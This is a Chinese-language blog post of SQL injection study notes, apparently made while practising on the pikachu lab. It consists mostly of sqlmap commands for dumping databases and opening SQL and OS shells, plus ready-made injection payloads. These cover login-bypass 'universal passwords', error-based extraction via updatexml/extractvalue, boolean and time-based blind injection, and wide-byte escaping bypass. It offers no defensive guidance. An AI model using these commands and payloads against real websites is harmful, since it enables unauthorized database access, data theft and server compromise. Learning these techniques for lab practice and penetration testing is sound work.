SQLmap

-u    检测sql注入点
-u    --dbs
-u    -D --tables
-u    -D -T --columns
-u    -D -T -C --dump
-r 文件.txt#用burp抓包复制到txt文件中,在有sql注入的地方加*星号
--sql-shell#可用语言直接查询数据库
sqlmap.py -r sql.txt --current-db
sqlmap.py -r sql.txt --is-dba
sqlmap.py -r sql.txt --os-shell -v 3

万能密码

' or 1=1 -

-- 的作用是注释掉后面的 select name,pass from tbAdmin where name='' or 1=1 -- and pass='123456' 

数字型注入

  1 or 1=1   

字符型注入

 1' or '1 = 1 

搜索型注入

%' or 1=1 or '%

代码语句为like '%$name%' 

xx型注入

1') or 1=1#

sql语句为=('$name') 

select注入

 ' or updatexml(1,concat(0x7e,database()),0)# 

insert/upgrade注入(与http header注入同原理)

quan' or updatexml(1,concat(0x7e,database()),0) or'

123456

XPATH syntax error: '~pikachu'  

delete注入

1 or updatexml(1,concat(0x7e,database()),0)//delete传的参数为数字所以闭合用数字闭合 

0x7e是~的十六进制  concat是连接字符串的函数  将database()替换为SQL语句即可查询,例如

(select table_name from information_schema.tables where table_schema='pikachu' limit(0,1))

limit(0,1)意思为从第0行开始取1行

updatexml()第一个参数为string,第二个参数要求为Xpath语法,第三个参数为new_value,为string格式,以~开头的语句不符合Xpath语法,所以会将concat()中的内容以报错的方式显示

extractvalue函数可替换updatexml函数 updatexml(0,concat(0x7e,database())) 

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html十种常见的报错注入

 可以用order by来确定列数,使用union拼接SQL语句,使用database(),user().version()来查询数据库名称,当前用户名,数据库版本等信息

基于Boolean的盲注 lucy' and ascii(substr(database(),1,1))=112# 

一个一个猜字符,将猜测的字符转换成阿斯克码根据返回的真假判断对错,可将database换成各种SQL语句

基于时间的盲注 lucy' and if((substr(database(),1,1))='p',sleep(5),null)# 

也是一个一个猜字符,根据网页刷新延迟的时间来判断猜测的对错

宽字节注入  在注入点后加%df单引号被转义,加了%df后,sql语句报错,说明单引号发挥了作用,斜杠与%df组合,%df%5c组合出了一个  運 字

sql注入绕过https://www.cnblogs.com/Vinson404/p/7253255.html

posted on 2019-08-12 17:25  邓阮叶  阅读(158)  评论(0)    收藏  举报